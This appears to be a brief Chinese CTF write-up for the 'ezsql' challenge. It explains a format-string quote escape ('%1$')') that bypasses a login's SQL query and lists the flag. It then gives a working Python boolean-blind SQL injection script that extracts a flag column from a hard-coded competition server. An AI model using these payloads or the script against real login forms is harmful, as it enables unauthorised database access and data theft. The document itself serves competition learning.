ezsql
格式化字符串漏洞,之前hack.lu做过payload是
password=1%1$') or 1=1#&name=a
|
NCTF{3v3ryth1ng_not_fantast1c_:)}
|
然后接下来就是常规的盲注了
password=1%1$') or substr(database(),1,1)>0#&name=a
|
payload=f"1%1$') or substr(({change_pa}),{i},1)>{mid}#"
|
import requests url="http://129.211.173.64:3080/login.php" s=requests.session()
def sql_in(change_pa): database = "" for i in range(1,10000): low=0 high=264 mid = (low + high) // 2 while (low < high): payload=f"1%1$') or ascii(substr(({change_pa}),{i},1))>{mid}#" data={"password":payload,"name":"a"} r=s.post(url=url,data=data).text if "NCTF{3v3ryth1" in r: low=mid+1 else: high=mid mid=(low+high)//2 if (mid == 0 or mid == 264): break database += chr(mid) print(database)
if __name__=="__main__": data='select/**/`fl@g`/**/from/**/NcTF limit 1,1' sql_in(data)
|